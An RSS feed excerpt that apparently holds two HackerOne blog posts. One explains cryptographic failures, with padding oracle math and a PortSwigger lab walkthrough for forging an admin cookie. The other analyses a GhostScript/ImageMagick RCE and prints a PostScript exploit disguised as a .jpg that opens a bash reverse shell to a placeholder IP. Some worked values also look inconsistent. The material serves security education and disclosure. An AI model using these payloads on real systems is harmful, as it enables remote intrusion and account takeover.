law that governs the export of weapons such as machine guns and missile systems. Ultimately, the&nbsp;<strong>Massachusetts Institute of Technology</strong> (<strong>MIT</strong>) came to Zimmermann’s aid and published a book that included PGP code to make the point that if he was truly an illegal arms dealer, then so was the university.</p><h2 dir="ltr">Encryption &amp; Decryption</h2><p dir="ltr">When data is encrypted, human-readable&nbsp;<strong>plaintext</strong>, such as the sentence you are currently reading, is converted into what is known as&nbsp;<strong>ciphertext</strong>. Ciphertext is an unreadable, scrambled version of the original plaintext. This is achieved by utilizing mathematical formulas, known as&nbsp;<strong>algorithms</strong>, that rely on what are referred to as&nbsp;<strong>keys</strong>. Keys are essentially passwords that are used by cryptographic algorithms to convert plaintext into ciphertext. Keys are also used in the process of reverting ciphertext back into its original plaintext, known as&nbsp;<strong>decryption</strong>.</p><p dir="ltr">As an example, the string “Hello, World!”, when encrypted with the&nbsp;<strong>Advanced Encryption Standard with a 256-bit key</strong> (<strong>AES-256</strong>) algorithm, and a key string of “secret” returns the following:</p><p>eyJpdiI6Ill3THVuSmxvV0hxRG5GZzN0dWxGY0E9PSIsCiJ2Ijox<br>LAoiaXRlciI6MTAwMCwKImtzIjoyNTYsCiJ0cyI6NjQsCiJtb2RlIjoi<br>Y2NtIiwKImFkYXRhIjoiIiwKImNpcGhlciI6ImFlcyIsCiJzYWx0IjoiSm<br>4wQVZNVTBYWkk9IiwKImN0IjoiMjhGdlRxdzNiN0RwMjJRVDFIT<br>2NkajVtbjdTMiJ9</p><p dir="ltr">There are two major types of encryption<strong>.</strong></p><h3 dir="ltr">1. Symmetric-key encryption</h3><p dir="ltr">Also known as “shared key encryption”, both the sender and receiver share the same key. Just as in the example above, the same key is used for both encryption and decryption.</p><p dir="ltr">&nbsp;</p><h3 dir="ltr">2. Asymmetric-key encryption</h3><p dir="ltr">Also known as “public key encryption”, asymmetric-key encryption uses two different keys – a public key and a private key that are mathematically related to each other. Each device involved in communication will have their own public and private key pair.</p><p dir="ltr">The public key is distributed by a device to any other device that it wants to communicate securely with, while the private key is kept a secret. The device sending data will encrypt the data with the public key of the recipient device. Once the data is delivered to the recipient, since the private key is mathematically related to the public key, the data can be decrypted with the recipient’s private key.</p><h2><br>Cryptographic Failures in Encryption</h2><p dir="ltr">In general, data is processed by computers in “blocks”. Both symmetric and asymmetric encryption modes operate on fixed block sizes defined by the encryption standard used. For example, the&nbsp;<strong>Advanced Encryption Standard</strong> (<strong>AES</strong>) has a block size of 128 bits. Since a byte is 8 bits, in AES-128, data is split in blocks of 16 bytes each.</p><p dir="ltr">For example, the string “telecommunicator” is 16 bytes long. By making conversions between encoding schemes equivalents, “telecommunicator” would produce the following block:</p><p dir="ltr">There are different modes used for block encryption. The two that will be covered are ECB and CBC.</p><h3 dir="ltr">Electronic Code Block (ECB)</h3><p dir="ltr">This mode encrypts every block individually, meaning identical plaintext produces identical ciphertext. You wouldn’t be able to decrypt the ciphertext without knowing the key, but if the ciphertext of two blocks matches, then the plaintext input must match as well.</p><p>&nbsp;</p><p dir="ltr">This creates patterns in the encryption process. This is why the ECB mode is not recommended for use within security contexts. This can be seen visually in images:</p><p>&nbsp;</p><p>&nbsp;</p><h3 dir="ltr">Cipher Block Chaining</h3><p dir="ltr">XOR is a boolean algebra operator that will return true, if and only if exactly one of your input values is true.</p><p>&nbsp;</p><p dir="ltr">This mode solves the issue with ECB by introducing an&nbsp;<strong>Initialization Vector</strong> (<strong>IV</strong>) block that is used with the&nbsp;<strong>Exclusive OR</strong> (<strong>⊕</strong>) operation on the first block, so that if the first two input values are ever the same, they will produce a different ciphertext output.</p><p dir="ltr">Additionally, the ciphertext output of the first block is then used as input to the second block’s XOR operation. Then the ciphertext output of the second block will be used as input to the third block’s XOR operation and so on and so forth – essentially linking the output of one block to the input of the next.</p><h3 dir="ltr"><br>Padding</h3><p dir="ltr">AES requires blocks to be 16 bytes, so if a block is less than that, there will need to be&nbsp;<strong>padding</strong>. The preferred padding standard is PKCS #7. In this standard, if you have to pad one byte you pad it with 0x01. If you have to pad two bites you pad it with 0x02 0x02. If you have to pad two bites you pad it with 0x03 0x03 0x03 and so on. Full 16 byte blocks will be followed by a fully padded block.</p><p dir="ltr"><strong>Padding examples:</strong></p><p dir="ltr">*</p><p dir="ltr">*</p><p dir="ltr">*</p><p dir="ltr">*</p><p dir="ltr">*</p><p dir="ltr">*</p><p dir="ltr">*</p><p dir="ltr">*</p><p dir="ltr">*</p><p dir="ltr">*</p><p dir="ltr">*</p><p dir="ltr">*</p><p dir="ltr">*</p><p dir="ltr">*</p><p dir="ltr">*</p><p dir="ltr">01</p><p dir="ltr">*</p><p dir="ltr">*</p><p dir="ltr">*</p><p dir="ltr">*</p><p dir="ltr">*</p><p dir="ltr">*</p><p dir="ltr">*</p><p dir="ltr">*</p><p dir="ltr">*</p><p dir="ltr">*</p><p dir="ltr">*</p><p dir="ltr">*</p><p dir="ltr">*</p><p dir="ltr">*</p><p dir="ltr">02</p><p dir="ltr">02</p><p dir="ltr">*</p><p dir="ltr">*</p><p dir="ltr">*</p><p dir="ltr">*</p><p dir="ltr">*</p><p dir="ltr">*</p><p dir="ltr">*</p><p dir="ltr">*</p><p dir="ltr">*</p><p dir="ltr">*</p><p dir="ltr">*</p><p dir="ltr">*</p><p dir="ltr">*</p><p dir="ltr">03</p><p dir="ltr">03</p><p dir="ltr">03</p><p dir="ltr">Mutating the second to last byte in a block that only has one byte of padding, will not invalidate it (denoted with #):</p><p dir="ltr">*</p><p dir="ltr">*</p><p dir="ltr">*</p><p dir="ltr">*</p><p dir="ltr">*</p><p dir="ltr">*</p><p dir="ltr">*</p><p dir="ltr">*</p><p dir="ltr">*</p><p dir="ltr">*</p><p dir="ltr">*</p><p dir="ltr">*</p><p dir="ltr">*</p><p dir="ltr">*</p><p dir="ltr">#</p><p dir="ltr">01</p><p>&nbsp;</p><h3 dir="ltr">Padding Oracle Attacks</h3><p dir="ltr">An oracle in the time of the ancient Greeks was a person or place that could communicate with the gods. In cryptography, a&nbsp;<strong>padding oracle</strong> is a system that provides information about encrypted data without revealing the encryption key.</p><p dir="ltr">Imagine a web server that encrypts cookies before sending them to a client. When the web server receives them back, it will decrypt them in order to process them. Then it will remove the padding. If invalid padding causes an error message or response latency, then you have a padding oracle to work with. For example, a server may send an error message of “AES-128 decryption failed”. This would indicate you exceeded the number of padded bytes.<br><br>By modifying the encrypted cookie, you are modifying the ciphertext. By submitting ciphertext to a padding oracle which will either confirm or deny the padding of the plaintext is correct, you can completely decrypt the cookie.</p><h3 dir="ltr">AES CBC Decoding</h3><p dir="ltr">Since this attack works on one block at a time, we will view the decoding process for a single block:</p><p dir="ltr"><br>The decoding process is just the inverse of the encoding process:</p><ol><li dir="ltr">The ciphertext is decrypted using the unknown key on the server.</li><li dir="ltr">The output is an intermediate value known as a&nbsp;<strong>key stream</strong>.</li><li dir="ltr">The key stream value is then XORed with the IV to produce the plaintext.</li></ol><p dir="ltr">This is what the process in its entirety would look like:</p><p dir="ltr"><br>But in our case, we don’t know all these values.</p><p>&nbsp;</p><p dir="ltr">After zeroing out the IV, the padding oracle will return a padding error. When a valid value for the 16th byte of the IV is discovered, there will be no padding error.</p><p>&nbsp;</p><p>&nbsp;</p><p dir="ltr">The plaintext either ends with one 01, two 02s, three 03s, and so on. We can assume the plaintext ends with 01 since valid padding was returned with 1f.</p><p dir="ltr">KS16&nbsp;<strong>⊕&nbsp;</strong>1f = 01</p><p dir="ltr">KS16&nbsp;<strong>⊕&nbsp;</strong>1f&nbsp;<strong>⊕&nbsp;</strong>1f = 01&nbsp;<strong>⊕&nbsp;</strong>1f</p><p dir="ltr">KS16&nbsp;<strong>⊕&nbsp;</strong>00 = 01&nbsp;<strong>⊕&nbsp;</strong>1f</p><p dir="ltr">KS16 = 01&nbsp;<strong>⊕&nbsp;</strong>1f</p><p dir="ltr">KS16 =1e</p><p dir="ltr">Since the original 16th byte of the IV was 1b:</p><p dir="ltr">PT16 = 1e&nbsp;<strong>⊕&nbsp;</strong>1b</p><p dir="ltr">PT16 = 05</p><p dir="ltr">We have now determined that the 16th byte of the plaintext value is 05.</p><p dir="ltr"><br>Now, we need to set the value of the 16th byte of plaintext to 02. XOR against 1e until you get 02. Set the value to the 16th byte of the IV.</p><p dir="ltr">1e&nbsp;<strong>⊕&nbsp;</strong>?&nbsp;<strong>⊕&nbsp;</strong>= 02</p><p>&nbsp;</p><p dir="ltr">Next, iterate through all the hex values of the 15th byte of the IV, again until the padding oracle doesn’t return an error.</p><p>&nbsp;</p><p dir="ltr">KS15 = c3&nbsp;<strong>⊕&nbsp;</strong>02</p><p>&nbsp;</p><p dir="ltr">Since the original 15th byte of the IV was c4:</p><p dir="ltr">PT15 = c1&nbsp;<strong>⊕&nbsp;</strong>c4</p><p dir="ltr">PT15 = 05</p><p dir="ltr">This checks out because there will be five 05 bytes as padding. This process is repeated until the entire plaintext value that the server receives is discovered.</p><p dir="ltr"><a href="https://paddingoracle.github.io/" target="_blank">Try a padding oracle attack yourself here.</a>&nbsp;</p><h3 dir="ltr">PortSwigger Lab: Authentication Bypass Via Encryption Oracle</h3><p dir="ltr">PortSwigger provides an exercise in their academy in which you have to utilize an encryption oracle. Below are step-by-step instructions on how to solve the lab.</p><p>1. Log in using the provided credentials, ensuring to select the ‘Stay logged in’ option.</p><p>2. The simulated website is a blogging site in which you can comment on posts. Submitting a comment with an invalid email address results in an error message: “Invalid email address: [email]”</p><p>&nbsp;</p><p>3. In BurpSuite’s HTTP history, select the POST /post/comment request and inspect the response. The server set a ‘notification’ cookie. Inspect the subsequent response to the GET request generated by the 302 redirect. In the header of the HTML file, is a class attribute of “notification-header”. Underneath this is the error message received from submitting an invalid email address.</p><p>&nbsp;</p><p>4. Back in the POST /post/comment request, copy the value of the ‘stay-logged-in’ cookie and paste it as the value of the ‘notification’ cookie in the GET /post?postId=[blog-number], then send the request. Now in the response body, ‘wiener:[timestamp]’. It is now confirmed that the POST request can be used to encrypt data via the email parameter and the GET request can decrypt the data. This will serve as your oracle.</p><p>&nbsp;</p><p>5. Submit ‘administrator:[timestamp]’ as the value of the email parameter. In the response to this request, again copy the value of the ‘notification’ cookie and decrypt it with the GET request. Now the error message is: “Invalid email address: administrator:[timestamp]”.</p><p>6. Return to the POST request and send the value of the ‘notification’ cookie to Decoder. Decode as URL and decode as Base64. Since ‘Invalid email address: ‘ is 23 bytes long, remove the first 23 bytes. Reencode the cookie.</p><p>&nbsp;</p><p>7. Once again, decode the cookie using the GET request. You will be met with a 500 server error response. However, there is a verbose decryption error message of: “Input length must be multiple of 16 when decrypting with padded cipher”</p><p>&nbsp;</p><p>8. In the POST request, prefix ‘administrator:[timestamp]’ with 9 bytes to satisfy the 16 byte block requirement. Send the request to get the new value of the ‘notification’ cookie from the response. Send this value back to Decoder, decode it and then delete the first two blocks. Reencode and now use the value in the GET request to decrypt it. You have successfully forged an administrator cookie for use as the value to the ‘stay-logged-in’ cookie.</p><p>&nbsp;</p><p>9. By using this administrator token and deleting the ‘session’ cookie in its entirety as to not conflict with the session state. You are now able to gain unauthorized access to the administrator panel and execute operations with this privileged role.</p><p>&nbsp;</p><h2 dir="ltr">Hashing</h2><p dir="ltr">In addition to encryption and decryption, cryptography also encompasses&nbsp;<strong>hashing</strong>. Hashing is a process that converts data into a fixed-length string, known as a&nbsp;<strong>hash digest</strong>, that acts as a unique identifier of the original data. Hash digests are used for security measures such as integrity checks, digital signatures, and message authentication. While both encryption and hash functions render data unrecognizable, they differ in a major way – due to the algorithms used, in hashing the process is irreversible. However, the algorithms used will always produce the same output for the same input.</p><p dir="ltr">For example, the string “Hello, World!” when hashed using the&nbsp;<strong>Message Digest 5</strong> (<strong>MD5</strong>) algorithm, returns the following hash value:</p>65a8e27d8879283831b664bd8b7f0ad4<p dir="ltr">In hashing, even the slightest variations to an input value result in a completely different output. To demonstrate, examine the hash value of “Hello, world!” (note the lowercase "w"):</p>6cd3556deb0da54bca060b4c39479839<p dir="ltr">Since MD5 uses 128-bit encryption, the number of possible unique combinations is&nbsp;2128 which amounts to 340,282,366,920,938,463,463,374,607,431,768,211,456.</p><h3 dir="ltr">Cryptographic Failures in Hashing</h3><p dir="ltr">Though the number of unique combinations provided by MD5 is vast, what are referred to as “collisions” have been discovered. A collision occurs when two different input values produce the same hash digest. A famous probability theory phenomenon known as the&nbsp;<a href="https://auth0.com/blog/birthday-attacks-collisions-and-password-strength/" target="_blank">Birthday Problem</a> illustrates that there is actually a 50% chance of finding an MD5 collision after&nbsp;264 operations. MD5 was also once thought to be secure against preimage attacks, meaning that even if someone has the hash digest, they cannot easily work backward to find the original input. Though, weaknesses have been found that allow attackers to reverse-engineer hash digests. These reasons are why MD5 is no longer recommended for use within security contexts.</p><h4>Rainbow Table Attacks</h4><p dir="ltr">When you create a password, it is often stored in a database as a hash rather than its plaintext value. This acts as a security measure in the event the database is breached. Again, due to the fact that a hashing algorithm will always produce the same output for the same input, there is a much easier way to discover the corresponding plaintext equivalent than attempting either a collision or a preimage attack, thanks to&nbsp;<strong>rainbow tables</strong>.</p><p dir="ltr">Rainbow tables are precomputed lists of hash digests and their plaintext equivalents. If a database of hashed passwords is obtained, you could simply use a rainbow table or the same hashing algorithm used to generate a large number of hash digests by supplying a wordlist. These output values can then be compared against those in the database until a match is discovered.</p><p dir="ltr">Additionally, when compared to dictionary or brute force attacks, rainbow table attacks allow for a higher rate of matching attempts due to the fact that is not subjected to the asynchronous nature of awaiting a response to an HTTP request – rainbow attacks are only limited by the processing power of the device it is carried out on.</p><p dir="ltr">There are even websites available, such as&nbsp;<a href="https://crackstation.net/" target="_blank">CrackStation,</a>&nbsp;where you can supply a hash value, which will be checked against their collection of rainbow tables to find a matching plaintext value. CrackStation currently boasts a 15-billion-entry rainbow table for MD5 and SHA1 hashes as well as a 1.5 billion-entry table for other miscellaneous hash algorithms. However, if a salt is being used, this kind of attack can be thwarted.</p><h2 dir="ltr">Conclusion</h2><p dir="ltr">As you can see, cryptographic vulnerabilities can be devastating if exploited. Whether they arise due to the use of outdated algorithms or a lack of security configurations – they can lead to consequences such as data breaches, data manipulation, non-compliance, and reputational damage.</p><p dir="ltr">In conclusion, the importance of sufficient cryptographic practices cannot be overstated. Organizations must regularly reassess their cryptographic protocols, ensuring they are up-to-date and properly configured. If they do not, malicious attackers will have clear opportunities to exploit them.</p>
      
            
                                                                                <a href="https://www.hackerone.com/blog/community" hreflang="en">Researcher Community</a>
                    
    

            
            <a href="https://www.hackerone.com/blog/topic/vulnerability-management" hreflang="en">Vulnerability Management</a>
        
    

            <p>Cryptographic failures represent a class of vulnerabilities that impact data security during storage, transmission, and usage. As noted by the <a href="https://owasp.org/www-project-top-ten/" target="_blank">OWASP Top 10</a>, these vulnerabilities are particularly concerning because they can result in the unintended exposure of sensitive data, such as credentials, credit card numbers, and personal information. When cryptographic systems fail to provide their intended protection, opportunities arise for gaining unauthorized access to this data.</p>
      ]]></description>
  <pubDate>Mon, 21 Oct 2024 17:44:34 +0000</pubDate>
    <dc:creator>h1_admin</dc:creator>
    <guid isPermaLink="false">5435 at https://www.hackerone.com</guid>
    </item>
<item>
  <title>Vulnerability Deep Dive: Gaining RCE Through ImageMagick With Frans Rosen</title>
  <link>https://www.hackerone.com/blog/vulnerability-deep-dive-gaining-rce-through-imagemagick-frans-rosen</link>
  <description><![CDATA[<span class="field field--name-title field--type-string field--label-hidden">Vulnerability Deep Dive: Gaining RCE Through ImageMagick With Frans Rosen</span>
    



    
        Andrew Pratt
        
            Security Researcher
      
    


<span class="field field--name-uid field--type-entity-reference field--label-hidden"><span>h1_admin</span></span>
<span class="field field--name-created field--type-created field--label-hidden">Thu, 10/17/2024 - 12:20
</span>

            
  
      
  
    Image
                



          

  

      
            October 17th, 2024

      
            <p dir="ltr">The file upload vulnerability type is as broad in scope as the number of different file types. These vulnerabilities are an ever-present security concern. While the underlying mechanics of how the unsafe handling of PHP files leads to compromised systems are clear to understand, exploitation using document files as a payload medium may not be so clear.</p><p dir="ltr">For younger members of the cybersecurity industry, this uncertainty can be partly attributed to the&nbsp;<a href="https://spectrum.ieee.org/adobe-postscript-code">history</a> behind the race to dominate the modern printing press.</p><h2 dir="ltr">The Vulnerability</h2><p dir="ltr">On August 31, 2018 security researcher&nbsp;<a href="https://hackerone.com/fransrosen?type=user" target="_blank">Frans Rosén</a> submitted a&nbsp;<a href="https://hackerone.com/reports/403417" target="_blank">report</a> to the&nbsp;<a href="https://hackerone.com/semrush?type=team" target="_blank">Semrush</a> program in regard to a file upload vulnerability.</p><p dir="ltr">Semrush Holdings, a&nbsp;software-as-a-service (SaaS) provider, is a leader in&nbsp;search engine optimization (SEO). The Semrush platform offers a suite of tools to assist businesses in increasing their online visibility and managing their digital marketing campaigns.</p><p dir="ltr">Included in the toolkit is the&nbsp;<a href="https://www.semrush.com/kb/34-my-reports" target="_blank">My Report</a> feature which equips marketing agencies with the ability to aggregate cross-platform marketing data in order to generate highly customizable PDF reports with ease. These reports can then be presented to clients and stakeholders to demonstrate the value provided and results achieved.</p><p dir="ltr">One of the customization options available is the ability to upload your company’s logo to the report. To facilitate this feature, the open-source image processing suite&nbsp;<a href="https://imagemagick.org/index.php" target="_blank">ImageMagick</a> was integrated into the report-building dashboard.</p><h3 dir="ltr">ImageMagick and Related Vulnerabilities</h3><p dir="ltr">Rosén was able to achieve&nbsp;<strong>remote code execution</strong> (<strong>RCE</strong>) on a Semrush server once he discovered that an unpatched version of ImageMagick was being utilized. Rosén’s report, though slightly dated, serves as a great case study in order to gain a deep understanding of the inner workings of document processing vulnerabilities.</p><p dir="ltr">However, researchers have found numerous bugs directly in ImageMagick and adjacent to it that have since been assigned CVEs, with some of them being much more recent than the one that will be discussed below:</p><ul><li dir="ltr"><a href="https://www.cve.org/CVERecord?id=CVE-2024-33869" target="_blank">CVE-2024-33869</a>: This vulnerability leads to path traversal and command execution.</li><li dir="ltr"><a href="https://www.cve.org/CVERecord?id=CVE-2021-39212" target="_blank">CVE-2021-39212</a>: This vulnerability leads to file read/write.</li><li dir="ltr"><a href="https://www.cve.org/CVERecord?id=CVE-2021-3781" target="_blank">CVE-2021-3781</a>: This vulnerability leads to command execution.</li></ul><h3 dir="ltr">Page Description Languages</h3><p dir="ltr">A<strong> </strong>page description language (PDL) defines the arrangement of text, images, and graphics on a page using commands that printers are able to interpret. By utilizing these languages, precise control over the appearance of printed media is possible, making them ideal for generating professional-grade documents. Page description languages have either a&nbsp;static&nbsp;format or&nbsp;dynamic&nbsp;format:</p><ul><li dir="ltr">A&nbsp;<em><strong>static</strong></em><strong>&nbsp;</strong><em><strong>format</strong></em> uses a fixed set of commands and rules for operations and their arguments.</li><li dir="ltr">A&nbsp;<em><strong>dynamic</strong></em><strong>&nbsp;</strong><em><strong>format</strong></em> is more flexible than its static counterpart as its commands can be extended. A page is described in this format as&nbsp;<em>a program that gets executed</em>, rather than just data to be printed.</li></ul><h3 dir="ltr">PostScript</h3><p dir="ltr"><strong>PostScript</strong> is a&nbsp;dynamic format page description language. As a fully-featured programming language, in addition to its graphic design capabilities - it also supports features such as variables, conditional execution, loops, user-defined procedures, a variety of data types, file input/output, functions, and interactive debugging.</p><p dir="ltr">In PostScript:</p><ul><li dir="ltr">A&nbsp;<strong>stack</strong> is an area of memory used for temporarily storing objects. Objects are&nbsp;<em>pushed</em> onto the stack and&nbsp;<em>popped</em> off as they are consumed. The stack operates on a last-in, first-out basis - meaning the last object placed on the stack will be the first consumed.</li><li dir="ltr">Functions/commands that perform specific actions are referred to as&nbsp;<strong>operators</strong>.</li><li dir="ltr">String values are encased in parentheses:&nbsp;(Hello world!)</li></ul><p dir="ltr"><strong>Dictionaries&nbsp;</strong>are tables of key/value pairs. These tables are stored in the virtual memory of the interpreter. They serve as lookup tables for names and their corresponding definitions. There are three dictionaries:</p><ol><li dir="ltr">userdict is a writable dictionary that stores user-defined objects in the current session context.</li><li dir="ltr">globaldict is a writable dictionary that is globally accessible across different contexts.</li><li dir="ltr">systemdict&nbsp;is a read-only dictionary that holds the predefined objects and built-in commands.</li></ol><p dir="ltr">When the interpreter encounters a name, it will search these dictionaries for that key - beginning with&nbsp;<em>userdict</em> and ending with&nbsp;<em>systemdict</em>.</p><p dir="ltr">As PostScript is a postfix language, function calls are read from right to left. The&nbsp;<strong>def</strong> operator binds a value to a key. For example:</p>/example_variable (H1) def<p dir="ltr">Defines a variable named&nbsp;example_variable with a value of&nbsp;H1.</p><h3 dir="ltr">GhostScript</h3><blockquote><p dir="ltr"><em>“You can use Postscript to get Ghostscript to run which in return allows to trigger arbitrary commands on the server, leading to Remote Code Execution.”</em></p></blockquote><p dir="ltr">Just like many other programming languages, PostScript requires an&nbsp;<em>interpreter</em> to execute its commands and convert them into actions/output. A page described using the executable program written in PostScript is presented to the interpreter&nbsp;<em>controlling the output device</em>.</p><p dir="ltr"><a href="https://www.ghostscript.com/" target="_blank">GhostScript</a> is the interpreter used by ImageMagick for PostScript and PDF files. When ImageMagick processes these file types, it relies on GhostScript to interpret and convert them into a format that ImageMagick can manipulate.</p><p dir="ltr">GhostScript is available as a command line tool:</p><p dir="ltr"><br><em>In the image above, the PostScript addition operation was performed, and the value was pushed to the stack, denoted by the stack size of&nbsp;&lt;1&gt;. Issuing the&nbsp;stack command prints the value.</em></p><p dir="ltr">In GhostScript, settings that control interactions with a device are referred to as&nbsp;<em>device parameters</em>.</p><ul><li dir="ltr">The&nbsp;<a href="https://ghostscript.readthedocs.io/en/latest/Language.html#language-locksafetyparams" target="_blank">.LockSafetyParams</a> device parameter prevents PostScript programs from being able to change potentially dangerous setting configurations. It takes a Boolean value of either&nbsp;<em>true</em> or&nbsp;<em>false</em>. If this parameter has a value of&nbsp;<em>true</em> for the current device, any attempts to set a new device with a value of&nbsp;<em>false</em> will result in an&nbsp;<em>invalidaccess</em> error.</li><li dir="ltr">The&nbsp;<a href="https://ghostscript.readthedocs.io/en/latest/Use.html#output-to-files" target="_blank">OutputFile</a> parameter is used to write files. It takes a string value which specifies the file name for output.</li><li dir="ltr">The&nbsp;<a href="https://ghostscript.readthedocs.io/en/latest/Language.html#file-operators" target="_blank">%pipe%</a> command instructs the interpreter to start a new process with any shell command. If&nbsp;.LockSafetyParams is set to true an&nbsp;invalidaccess error will be met.</li></ul><p dir="ltr">At the time of the report, GhostScript could be ran in an&nbsp;<em>optional</em>&nbsp;<a href="https://ghostscript.readthedocs.io/en/latest/Use.html#dsafer" target="_blank">-dSAFER</a> safe sandbox mode. The SAFER mode enables access controls on files, device selection and device parameters. In this mode, the device’s&nbsp;.LockSafetyParams parameter is set to&nbsp;<em>true</em>.</p><p dir="ltr">In the&nbsp;<a href="https://ghostscript.readthedocs.io/en/latest/Use.html#dnosafer">-dNOSAFER</a> mode, PostScript programs are allowed to read, write, rename or delete system files that lack operating system permission protection.&nbsp; In this mode, the device’s&nbsp;.LockSafetyParams parameter is set to&nbsp;<em>false</em>.</p><p dir="ltr">In the absence of the -dSAFER switch, exploiting GhostScript can be easily achieved by use of the&nbsp;%pipe% command to run shell commands on the vulnerable system.</p><h3 dir="ltr">policy.xml</h3><blockquote><p dir="ltr"><em>“Tavis Ormandy has also mentioned recently that the policy.xml needs to disable EPS,PS,PDF and XPS since all these have ways to trigger Ghostscript...”</em></p></blockquote><p dir="ltr">In Rosén’s report, he references Tavis Ormandy’s concerns regarding the default configuration settings for coders in ImageMagick.</p><p dir="ltr">On August 21, 2018, Google’s Project Zero security researcher Tavis Ormandy disclosed&nbsp;<a href="https://seclists.org/oss-sec/2018/q3/142" target="_blank">several vulnerabilities</a> in GhostScript. One of these vulnerabilities provided the PoC adjusted and used by Rosén. <a href="https://bugs.ghostscript.com/show_bug.cgi?id=699654" target="_blank">Read the conversation between Ormandy and the GhostScript team</a>.&nbsp;</p><p dir="ltr">ImageMagick is reliant on external configuration files to customize settings, manage resources, optimize performance and enhance security. Customizing the security policy is accomplished in the&nbsp;<a href="https://www.imagemagick.org/script/security-policy.php" target="_blank">policy.xml</a> file.</p><p dir="ltr">If directives to block uploads of a certain file type are not explicitly set, the files will be processed by ImageMagick and, by extension, sent to GhostScript. At the time, there were no such default directives and manual changes were required in order for ImageMagick to not render PS and EPS files if presented with PostScript data.</p><p dir="ltr">The secure configuration within the&nbsp;&lt;policymap&gt; section of the policy.xml file would have consisted of the following:</p>&lt;policy domain="coder" rights="none" pattern="PS" /&gt;&nbsp;<br>&lt;policy domain="coder" rights="none" pattern="PS2" /&gt;&nbsp;<br>&lt;policy domain="coder" rights="none" pattern="PS3" /&gt;&nbsp;<br>&lt;policy domain="coder" rights="none" pattern="EPS" /&gt;&nbsp;<br>&lt;policy domain="coder" rights="none" pattern="PDF" /&gt;&nbsp;<br>&lt;policy domain="coder" rights="none" pattern="XPS" /&gt;<h2 dir="ltr"><a href="https://www.cve.org/CVERecord?id=CVE-2018-16509" target="_blank">CVE-2018-16509</a></h2><p dir="ltr">PoC provided by Tavis Ormandy:</p>$ *cat shellexec.jpeg*&nbsp;<br>%!PS&nbsp;<br>userdict /setpagedevice undef&nbsp;<br>legal&nbsp;<br>{ null restore } stopped { pop } if&nbsp;<br>legal&nbsp;<br>mark /OutputFile (%pipe%id) currentdevice putdeviceprops<h2 dir="ltr">The Exploit</h2>%!PS&nbsp;<br>userdict /setpagedevice undef&nbsp;<br>legal&nbsp;<br>{ null restore } stopped { pop } if&nbsp;<br>legal&nbsp;<br>mark /OutputFile (%pipe%bash -c 'bash -i &gt;&amp; /dev/tcp/[IP]/8080 0&gt;&amp;1')&nbsp;<br>currentdevice putdeviceprops<p dir="ltr"><em>[IP] is a placeholder for the listening address.</em><br><em>This file was saved as a .jpg and uploaded to My Reports.</em><br><a href="https://www.adobe.com/jp/print/postscript/pdfs/PLRM.pdf"><em>View PostScript documentation.</em></a><em>&nbsp;</em></p><h3 dir="ltr">Script Breakdown</h3><ol><li dir="ltr">The script begins with %!PS&nbsp;indicating the following content is written in PostScript.<br>&nbsp;</li><li dir="ltr">The&nbsp;undef operator removes a dictionary entry entirely - both the key and value. This is used to remove the&nbsp;setpagedevice command from the&nbsp;<em>userdict</em>, preventing any changes to device settings.<br>&nbsp;</li><li dir="ltr">legal is a&nbsp;<em>userdict</em> operator that sets the page dimensions. This will trigger an error since&nbsp;setpagedevice was removed.<br>&nbsp;</li><li dir="ltr">The&nbsp;{ null restore } stopped { pop } if sequence checks for errors. If one occurred it will revert the device back to the last saved state. Since the&nbsp;save command was not called and therefore there is no state to revert back to and&nbsp;{ null restore } is a no-op placeholder (<em>meaning do nothing</em>) - the state that will be reverted back to when the script errors is the initial state of the interpreter when it was started. Except this time, since the&nbsp;setpagedevice command has been removed - no security settings can be implemented. Effectively excluding the -dSAFER option, setting&nbsp;.LockSafetyParams<em>&nbsp;</em>to false.<br>&nbsp;</li><li dir="ltr">The legal operator is used again to set the device to a page.<br>&nbsp;</li><li dir="ltr">When the flag is set to&nbsp;<em>false</em>, the check for&nbsp;OutputFile does not trigger an&nbsp;<em>invalidaccess</em> error if unauthorized access is attempted.<br>&nbsp;</li><li dir="ltr">putdeviceprops sets device properties on the&nbsp;currentdevice.<br>&nbsp;</li><li dir="ltr">The mark PostScript operator is used to push the current state on the stack. It is a way to mark a point in the program so that you can later restore the state to that point using the&nbsp;restore operator.<br>&nbsp;</li><li dir="ltr">currentdevice putdeviceprops&nbsp;applies the newly defined output command in the parenthesis to the device.<br>&nbsp;</li><li dir="ltr">%pipe% instructs the interpreter to start a new process, in this case run&nbsp;bash -c which will open a shell on the device. Within this shell, the command&nbsp;‘bash -i &gt;&amp; /dev/tcp/[IP]/8080 0&gt;&amp;1’ is ran. This will create a reverse shell connection to the attacking machine.&nbsp;&gt;&amp; redirects the standard output (<em>stdout</em>) and standard error (<em>stderr</em>) to the attacker machine. While&nbsp;0&gt;&amp;1 redirects input from the attacker’s shell to the shell on the device.</li></ol><h2 dir="ltr">Conclusion</h2><p dir="ltr">Rosén’s efforts resulted in a bounty and a bonus amount. The Semrush team also gave him a promotion code to allow Rosén to test the paid functionality of their service.</p><p dir="ltr">When you are testing, ensure to check if any PostScript-compatible file types are allowed as it may result in a file upload vulnerability.</p><h2 dir="ltr">Sources</h2><p dir="ltr">Print Center Features - Adobe PostScript vs. Adobe PDF. (n.d.).&nbsp;<a href="https://web.archive.org/web/20160413212438/https://www.adobe.com/print/features/psvspdf/" target="_blank">https://web.archive.org/web/20160413212438/https://www.adobe.com/print/features/psvspdf/</a></p><p dir="ltr">Ormandy, T. (n.d.). oss-sec: More Ghostscript Issues: Should we disable PS coders in policy.xml by default?&nbsp;<a href="https://seclists.org/oss-sec/2018/q3/142" target="_blank">https://seclists.org/oss-sec/2018/q3/142</a></p><p dir="ltr">Systems, A. (1999). PostScript Language Reference, Third Edition. Retrieved August 29, 2024, from&nbsp;<a href="https://www.adobe.com/jp/print/postscript/pdfs/PLRM.pdf" target="_blank">https://www.adobe.com/jp/print/postscript/pdfs/PLRM.pdf</a></p><p dir="ltr">CERT/CC Vulnerability Note VU#332928. (n.d.).&nbsp;<a href="https://www.kb.cert.org/vuls/id/332928" target="_blank">https://www.kb.cert.org/vuls/id/332928</a></p>
      
            
                                                                                <a href="https://www.hackerone.com/blog/community" hreflang="en">Researcher Community</a>
                    
    

            
            <a href="https://www.hackerone.com/blog/topic/vulnerability-management" hreflang="en">Vulnerability Management</a>
        
    

            <p dir="ltr">Applications can be compromised when files are not uploaded to the server’s file system in a secure manner. If a malicious attacker is able to upload a file and the server processes its contents - remote control over the system is possible. These kinds of vulnerabilities are simply referred to as&nbsp;<strong>file upload vulnerabilities</strong>.</p>
      ]]></description>
  <pubDate>Thu, 17 Oct 2024 17:20:22 +0000</pubDate>
